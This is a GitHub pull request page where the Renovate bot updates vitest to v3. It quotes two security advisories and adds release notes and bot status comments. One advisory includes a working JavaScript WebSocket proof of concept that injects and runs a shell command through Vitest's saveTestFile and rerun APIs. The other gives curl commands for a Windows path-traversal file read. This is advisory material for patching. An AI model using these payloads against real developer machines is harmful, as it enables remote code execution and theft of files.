Skip to content

Update dependency vitest to v3 [SECURITY] - #151

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-vitest-vulnerability
Open

Update dependency vitest to v3 [SECURITY]#151
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-vitest-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Feb 4, 2025

Copy link
Copy Markdown
Contributor

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
vitest (source) ^2.0.0^3.0.0 age confidence

Vitest allows Remote Code Execution when accessing a malicious website while Vitest API server is listening

CVE-2025-24964 / GHSA-9crc-q9x8-hgqq

More information

Details

Summary

Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

Details

When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

PoC
  1. Open Vitest UI.
  2. Access a malicious web site with the script below.
  3. If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.
// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})
Impact

This vulnerability can result in remote code execution for users that are using Vitest serve API.

Severity

  • CVSS Score: 9.6 / 10 (Critical)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


When Vitest UI server is listening, arbitrary file can be read and executed

CVE-2026-47429 / GHSA-5xrq-8626-4rwp

More information

Details

Summary

Arbitrary file can be read on Windows when Vitest UI server is listening, especially when exposed to the network.

Impact

Only users that match either of the following conditions are affected:

  • explicitly exposes the Vitest UI server to the network (using --api.host or api.host config option)
  • running the Vitest UI or Browser Mode on Windows
Details

The API handler for /__vitest_attachment__ uses the deprecated isFileServingAllowed incorrectly.
https://github.com/vitest-dev/vitest/blob/eb1abf08573032a532015b999ad3501c5e89e3bb/packages/ui/node/index.ts#L77
The function expects the passed value to use cleanUrl after the check before file system related operation.
Because of this, it is possible to bypass the check by \\?\\..\\. This is not possible on Linux as Linux errors if a directory named ? does not exist.

A similar problem exists in other places as well.

That said, this isFileServingAllowed check does not actually prevent the API to be abused. Since the API has rerun feature and file write feature, it's possible to run arbitrary script by writing a script as a test file using saveTestFile and running it using rerun. This means exposing the API / Vitest UI is equivalent to giving script execution access.
On the browser mode side, there're readFile / writeFile / saveSnapshotFile. So exposing the browser mode is equivalent to giving file read / write access.

PoC
  1. Run Vitest UI
  2. Get the API token by curl http://localhost:51204/__vitest__/
  3. Run curl "http://localhost:51204/__vitest_attachment__?path=C:\\path\\to\\project\\?\\..\\..\\secret.txt&amp;contentType=text/plain&amp;token=$TOKEN" (TOKEN is the API token)
  4. curl shows the content of secret.txt that is outside the project directory
Mitigations

Vitest now ships two configuration flags, allowWrite and allowExec, that gate the privileged operations exploited by this vulnerability. Both are disabled by default whenever the API server is bound to a non-localhost host, ensuring that exposing the server to the network no longer implicitly grants write or execute capabilities to remote clients.

When these flags are disabled, the UI also enters a read-only mode: in-browser code editing and test file execution are turned off, removing the attack surface that allowed remote code execution. Many Browser Mode features are also disabled, like attachments, artifacts or snapshots. See browser.api.

Users who require the full interactive UI on a networked host must explicitly opt in by setting allowWrite and/or allowExec to true.

Severity

  • CVSS Score: 9.8 / 10 (Critical)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

vitest-dev/vitest (vitest)

v3.2.6

Compare Source

v3.2.5

Compare Source

v3.2.4

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v3.2.3

Compare Source

   🚀 Features
   🐞 Bug Fixes
    View changes on GitHub

v3.2.2

Compare Source

   🚀 Features
   🐞 Bug Fixes
    View changes on GitHub

v3.2.1

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v3.2.0

Compare Source

   🚀 Features
   🐞 Bug Fixes
    View changes on GitHub

v3.1.4

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v3.1.3

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v3.1.2

Compare Source

   🐞 Bug Fixes
   🏎 Performance
    View changes on GitHub

v3.1.1

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v3.1.0

Compare Source

🚀 Features
🐞 Bug Fixes
🏎 Performance
View changes on GitHub

v3.0.9

Compare Source

   🐞 Bug Fixes

Note

PR body was truncated to here.


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 3b6e893 to 200d16d Compare February 9, 2025 14:11
@changeset-bot

changeset-bot Bot commented Feb 9, 2025

Copy link
Copy Markdown

⚠️ No Changeset found

Latest commit: ee48879

Merging this PR will not cause a version bump for any packages. If these changes should not result in a new version, you're good to go. If these changes should result in a version bump, you need to add a changeset.

This PR includes no changesets

When changesets are added to this PR, you'll see the packages that this PR includes changesets for and the associated semver types

Click here to learn what changesets are, and how to add one.

Click here if you're a maintainer who wants to add a changeset to this PR

@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 200d16d to 5e18672 Compare February 22, 2025 11:00
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 5e18672 to 84c4fff Compare March 3, 2025 15:46
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 996863e to 3427b37 Compare March 17, 2025 18:13
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 3427b37 to c3736a0 Compare April 1, 2025 11:50
@sonarqubecloud

sonarqubecloud Bot commented Apr 1, 2025

Copy link
Copy Markdown

@sonarqubecloud

sonarqubecloud Bot commented Apr 1, 2025

Copy link
Copy Markdown

@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from c3736a0 to eafb722 Compare May 19, 2025 21:08
@sonarqubecloud

Copy link
Copy Markdown

@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from eafb722 to 64a5b40 Compare June 22, 2025 13:26
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 64a5b40 to 1209174 Compare July 2, 2025 18:12
@sonarqubecloud

sonarqubecloud Bot commented Jul 2, 2025

Copy link
Copy Markdown

@sonarqubecloud

sonarqubecloud Bot commented Jul 2, 2025

Copy link
Copy Markdown

@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 292b441 to f48ca70 Compare August 13, 2025 17:41
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from f48ca70 to 2e64191 Compare August 19, 2025 16:39
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 2e64191 to 9a21cc5 Compare August 31, 2025 10:05
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 9a21cc5 to 7a3fc92 Compare September 25, 2025 15:41
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 7a3fc92 to 7e77552 Compare October 21, 2025 14:15
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 7e77552 to 1e3e171 Compare November 10, 2025 15:42
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 1e3e171 to 468039b Compare November 18, 2025 19:49
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 468039b to 875f24f Compare December 3, 2025 19:57
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 875f24f to 9fa948d Compare December 31, 2025 15:33
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 9fa948d to 29b3c37 Compare January 8, 2026 17:24
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 9fcfce0 to d0d0936 Compare January 23, 2026 19:04
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from d0d0936 to d9ef31c Compare February 2, 2026 18:33
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from d9ef31c to f9f3854 Compare February 12, 2026 16:37
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from f9f3854 to 3bfd8d1 Compare March 5, 2026 19:20
@renovate renovate Bot changed the title Update dependency vitest to v2.1.9 [SECURITY] Update dependency vitest to v2.1.9 [SECURITY] - autoclosed Mar 27, 2026
@renovate renovate Bot closed this Mar 27, 2026
@renovate
renovate Bot deleted the renovate/npm-vitest-vulnerability branch March 27, 2026 01:40
@renovate renovate Bot changed the title Update dependency vitest to v2.1.9 [SECURITY] - autoclosed Update dependency vitest to v2.1.9 [SECURITY] Mar 30, 2026
@renovate renovate Bot reopened this Mar 30, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 3bfd8d1 to 857d097 Compare March 30, 2026 17:36
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 857d097 to 3b58023 Compare April 8, 2026 20:53
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 3b58023 to 14eff43 Compare April 29, 2026 15:51
@sonarqubecloud

Copy link
Copy Markdown

@sonarqubecloud

Copy link
Copy Markdown

@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 14eff43 to f5261cf Compare May 12, 2026 16:57
@sonarqubecloud

Copy link
Copy Markdown

@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from f5261cf to 4e7026c Compare May 18, 2026 11:10
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 3 times, most recently from 7119980 to 30017aa Compare June 2, 2026 01:50
@cloudflare-workers-and-pages

cloudflare-workers-and-pages Bot commented Jun 2, 2026

Copy link
Copy Markdown

Deploying openapi-ts-rest with  Cloudflare Pages  Cloudflare Pages

Latest commit: ee48879
Status:🚫  Build failed.

View logs

@renovate renovate Bot changed the title Update dependency vitest to v2.1.9 [SECURITY] Update dependency vitest to v4 [SECURITY] Jun 2, 2026
@renovate renovate Bot changed the title Update dependency vitest to v4 [SECURITY] Update dependency vitest to v2.1.9 [SECURITY] Jun 8, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 30017aa to 9b56d8e Compare June 8, 2026 18:30
@sonarqubecloud

sonarqubecloud Bot commented Jun 8, 2026

Copy link
Copy Markdown

@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 9b56d8e to ee48879 Compare June 8, 2026 23:53
@renovate renovate Bot changed the title Update dependency vitest to v2.1.9 [SECURITY] Update dependency vitest to v3 [SECURITY] Jun 8, 2026
@renovate

renovate Bot commented Jun 8, 2026

Copy link
Copy Markdown
Contributor Author

⚠️ Artifact update problem

Renovate failed to update an artifact related to this branch. You probably do not want to merge this PR as-is.

♻ Renovate will retry this branch, including artifacts, only when one of the following happens:

  • any of the package files in this branch needs updating, or
  • the branch becomes conflicted, or
  • you click the rebase/retry checkbox if found above, or
  • you rename this PR's title to start with "rebase!" to trigger it manually

The artifact failure details are included below:

File name: pnpm-lock.yaml
Scope: all 4 workspace projects
Progress: resolved 1, reused 0, downloaded 0, added 0
apps/playground                          |  WARN  deprecated rollup-plugin-replace@2.2.0
.                                        |  WARN  deprecated eslint@8.57.1
Progress: resolved 171, reused 0, downloaded 0, added 0
Progress: resolved 534, reused 0, downloaded 0, added 0
Progress: resolved 673, reused 0, downloaded 0, added 0
Progress: resolved 849, reused 0, downloaded 0, added 0
 WARN  17 deprecated subdependencies found: @humanwhocodes/config-array@0.13.0, @humanwhocodes/object-schema@2.0.3, @types/sass@1.45.0, @ungap/structured-clone@1.2.0, abab@2.0.6, domexception@2.0.1, glob@10.4.1, glob@10.4.5, glob@7.2.3, inflight@1.0.6, rimraf@3.0.2, rollup-plugin-inject@3.0.2, source-map@0.8.0-beta.0, sourcemap-codec@1.4.8, uuid@8.3.2, w3c-hr-time@1.0.2, whatwg-encoding@1.0.5
Progress: resolved 978, reused 0, downloaded 0, added 0
Progress: resolved 978, reused 0, downloaded 0, added 0, done
 ERR_PNPM_PEER_DEP_ISSUES  Unmet peer dependencies

.
└─┬ @vitest/coverage-istanbul 2.1.9
  └── ✕ unmet peer vitest@2.1.9: found 3.2.7

hint: If you don't want pnpm to fail on peer dependency issues, add "strict-peer-dependencies=false" to an .npmrc file at the root of your project.


@sonarqubecloud

sonarqubecloud Bot commented Jun 8, 2026

Copy link
Copy Markdown

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants